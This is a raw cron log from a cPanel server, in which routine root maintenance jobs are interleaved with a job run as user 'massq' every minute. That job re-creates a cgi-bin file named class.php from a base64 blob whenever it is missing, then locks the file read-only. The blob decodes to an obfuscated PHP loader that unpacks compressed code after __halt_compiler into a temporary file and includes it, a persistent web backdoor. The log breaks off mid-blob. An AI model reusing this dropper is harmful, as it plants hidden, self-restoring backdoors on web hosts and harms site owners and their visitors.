Sep  2 12:20:01 server CROND[17383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:20:01 server CROND[17384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:20:01 server CROND[17387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:20:01 server CROND[17392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:20:01 server CROND[17394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:20:01 server CROND[17393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:20:01 server CROND[17391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:20:01 server CROND[17390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:20:01 server CROND[17395]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:21:01 server CROND[18230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:21:01 server CROND[18231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:21:02 server CROND[18232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:22:01 server CROND[18612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:22:01 server CROND[18613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:22:01 server CROND[18614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:23:01 server CROND[18996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:23:01 server CROND[18997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:23:01 server CROND[18998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:24:01 server CROND[19474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:24:01 server CROND[19475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:24:01 server CROND[19476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:25:01 server CROND[19858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:25:01 server CROND[19859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:25:01 server CROND[19861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:25:01 server CROND[19868]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 12:25:01 server CROND[19866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:25:01 server CROND[19865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:25:01 server CROND[19867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:25:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:26:01 server CROND[20716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:26:01 server CROND[20717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:26:01 server CROND[20718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:27:01 server CROND[21103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:27:01 server CROND[21104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:27:01 server CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:27:01 server CROND[21106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:28:01 server CROND[21480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:28:01 server CROND[21481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:28:01 server CROND[21479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:29:01 server CROND[21953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:29:01 server CROND[21952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:29:01 server CROND[21954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:30:01 server CROND[22377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:30:01 server CROND[22378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:30:01 server CROND[22382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:30:01 server CROND[22385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:30:01 server CROND[22388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:30:01 server CROND[22386]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 12:30:01 server CROND[22383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:30:01 server CROND[22387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:30:01 server CROND[22384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:31:01 server CROND[23393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHS